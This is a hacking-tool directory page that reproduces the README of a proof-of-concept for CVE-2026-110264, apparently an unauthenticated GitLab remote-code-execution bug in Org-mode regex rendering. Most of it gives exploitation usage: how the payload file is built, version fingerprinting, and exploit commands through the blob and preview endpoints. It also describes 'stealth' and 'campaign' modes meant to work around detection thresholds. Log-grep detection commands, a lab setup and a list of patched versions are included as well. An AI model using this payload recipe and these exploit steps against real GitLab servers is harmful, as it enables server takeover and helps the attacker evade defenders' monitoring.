Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/googlesky/cve-2026-110264
Web Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubgooglesky/cve-2026-110264

CVE-2026-110264

PoC, reproducible lab, live evidence, Nuclei fingerprint template, and technical report for CVE-2026-110264, an unauthenticated GitLab Org-mode/Onigmo regex integer-overflow RCE.

14 days agoNot yet reviewed
View RepositoryWebsite
Share

PoC CVE-2026-110264 — GitLab Org-mode / Onigmo Unauthenticated RCE (CVSS 10.0)

License: MIT Research status: validated

A complete PoC for the unauthenticated remote code execution vulnerability in all GitLab CE/EE from 7.0 (2014) up to before the patch of 21/10/2026, via an integer overflow in the regexp compiler (Ruby's Onigmo) when rendering the file .org.

  • Full report (EN): reports/CVE-2026-110264.md
  • Evidence lab GitLab 19.3.1 vulnerable (EN): reports/lab-evidence-19.3.1.md
  • Lightweight lab (no GitLab needed): lab/repro.rb
  • Full GitLab lab: lab/docker-compose.gitlab.yml + lab/provision_lab.py + evidence JSONs

30-second summary

  1. The attacker embeds a malicious regex in the #+TODO: line in the file .org (lib/org-ruby/parser.rb escapes once during validation, but lib/org-ruby/headline.rb:100 instead Regexp.new("^#{keyword}\\s*") with the raw string — CWE-94).
  2. A keyword with > 32,767 repeats overflows Onigmo's int16 repeat ID → out-of-bounds write during matching (CWE-787), heap grooming via the request body → system() with the OS user privileges git. No login required, only 1 Public project containing the file .org (or force the Org renderer via the file_path parameter in the preview API).
  3. Patch: Ruby repeat-ID overflow patch for 3.3/3.4/4.0 + gitlab-markup 2.2.0. The patch is included in 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1.

Structure

poc.py                        PoC chính (chỉ dùng stdlib): check | payload | exploit | selftest
lab/repro.rb                  renderer mini giống GitLab OtherMarkup (Timeout + org-ruby)
lab/verify.sh                 script kiểm chứng end-to-end (8 checks, không cần GitLab)
lab/provision_lab.py          provision lab GitLab (tạo project public + upload payload)
lab/evidence_m1_20000.json    evidence poc.py --verify vs lab 19.3.1 (m1.org, VULN)
lab/evidence_p0_35000.json    evidence poc.py --verify vs lab 19.3.1 (p0.org, VULN)
lab/Dockerfile.ruby           image repro nhẹ (ruby + org-ruby 0.9.12)
lab/docker-compose.gitlab.yml lab GitLab CE vulnerable đầy đủ (đã kiểm chứng với 19.3.1)
nuclei/cve-2026-110264-gitlab-version.yaml  template Nuclei fingerprint version (safe)
reports/CVE-2026-110264.md    báo cáo lỗ hổng chi tiết
reports/lab-evidence-19.3.1.md evidence live-lab (client oracle + server Timeout::Error)

Requirements

  • Python 3.8+ (no additional pip packages needed).
  • To run selftest end-to-end: gem install org-ruby -v 0.9.12 (+ ruby).
  • To actually attack GitLab: 1 Public project + file commit permission (only the show vector needs commit; the preview vector is commit-less but may require a session depending on configuration).

Usage

# 0. Tự kiểm chứng root-cause, không cần GitLab
python3 poc.py selftest
ruby lab/repro.rb --generate 35000 p0.org
ruby lab/repro.rb p0.org --budget 8        # expect: Timeout::Error (vulnerable)

# 1. Sinh payload (mặc định 35000 repeats = vượt ngưỡng int16 32767)
python3 poc.py payload --repeats 35000 -o p0.org
python3 poc.py payload --stealth -o p0_stealth.org   # A*x40000, quiet-match
python3 poc.py payload --single -o p0_single.org    # chỉ #+TODO: (mặc định cả 3)
#    p0.org ~1.5 MB (3 directives x 385k-char keyword):
#      #+TODO: [[:word:]]*[[:word:]]*...
#      #+SEQ_TODO: [[:word:]]*...
#      #+TYP_TODO: [[:word:]]*...
#      * [[:word:]]*[[:word:]]*... hello

# 2. Fingerprint version (unauth; thêm --token nếu có PAT để đọc /api/v4/version)
python3 poc.py check https://gitlab.example
#    VULN nếu < fixed của nhánh mình:
#      18.11.13 | 19.0.10 | 19.1.9 | 19.2.9 | 19.3.6 | 19.4.3 | 19.5.1

# 3a. Khai thác qua Blob show (unauth, cần đã commit p0.org vào project Public)
#     Web UI -> New file -> upload p0.org lên nhánh main trước
python3 poc.py exploit https://gitlab.example group/pub --ref main --path p0.org
#     Differential chắc chắn hơn (control benign + so sánh delta):
python3 poc.py exploit https://gitlab.example group/pub --verify --save evidence.json
#     Campaign mode (mimic detection threshold >=5/30m) + stealth:
python3 poc.py exploit https://gitlab.example group/pub --burst 6 --interval 2 --save evidence.json
python3 poc.py exploit https://gitlab.example group/pub --stealth --path p0_stealth.org

# 3b. Khai thác commit-less qua preview (renderer ép bằng file_path, có thể cần cookie)
python3 poc.py exploit https://gitlab.example group/pub --preview --content-file p0.org
python3 poc.py exploit https://gitlab.example group/pub --preview-only \
  --content-file p0.org --cookie '_gitlab_session=...'

Reading the exploit result

The rich viewer is the real sink: the HTML blob only returns chrome (no TODO visible, ~38 kB, no differential); the Org render lives in GET .../blob/main/<file>?format=json&viewer=rich (gl.startup_calls in the HTML). PoC v2.1+ hits this endpoint directly (the benign control also goes through the rich sink) — see reports/lab-evidence-19.3.1.md.

SignalMeaning
Slow render ≥ 10 sExceeds the markup Timeout budget → server logs Timeout::Error / OtherMarkup / .org (exceptions_json.log). ≥ 5 times/30 minutes from 1 client = rule org_mode_render_error_burst
HTTP 502Workhorse badgateway: EOF — Puma worker dies mid-render (RCE runs synchronously in the worker, then the worker crashes; Puma replaces the worker)
Fast 200 (< 5 s)Possibly already patched, wrong path/ref, Private project, or preview blocked by auth
404/302 to sign-inFile does not exist yet or project is not Public

Server-side correlation (if you have log read access) to confirm:

grep '"exception.class":"Timeout::Error"' /var/log/gitlab/gitlab-rails/exceptions_json.log \
  | grep '"extra.class_name":"OtherMarkup"' | grep -E '"extra.file_name":"[^"]*\.org"'
grep -E '502|badgateway' /var/log/gitlab/gitlab-workhorse/current
grep -B1 -A20 '\[BUG\]' /var/log/gitlab/puma/puma_stderr.log \
  | grep -E 'org-ruby|headline\.rb|regexp_helper\.rb|match_at|onig_search_gpos|onig_compile|compile_tree|rb_str_sub_bang'
rg -l --glob '**/*.org' '^\#\+(TODO|SEQ_TODO|TYP_TODO):.{500,}'   # quét payload phía git

Verified results

A. Live GitLab CE 19.3.1 vulnerable (22/10/2026, entirely within a container)

atk-cve-2026-110264 → gitlab-110264-vuln (bridge, unauth; details in reports/lab-evidence-19.3.1.md):

  • poc.py check --token: api_version 19.3.1 → [VULN] (< 19.3.6).
  • poc.py exploit --verify: control README rich 0.1–0.2s vs m0.org (20000) rich 10.2s, p0.org (35000) rich 18.8s → [VULN] differential confirms, rc=0 + evidence JSON (lab/evidence_*.json).
  • Server-side: exceptions_json.log logged 4x Timeout::Error / OtherMarkup / m1.org|p0.org, BlobController#show, user.username=null (unauth), backtrace render_timeout.rb → other_markup.rb → blob_controller.rb:316 show_json — exactly matching the shape of rule org_mode_render_error_burst. puma_stderr.log no [BUG] (quiet-hit, as predicted: crash is only corroborating).
  • Stack lab: ruby 3.3.12, org-ruby 0.9.12, gitlab-markup 2.1.0.

B. Local repro (workstation + container, ruby 3.3.8/3.4.10 + org-ruby 0.9.12)

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    885
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    796
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    629
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    458
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    433
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    385

Explore all tools

Browse our collection of tools

View all tools →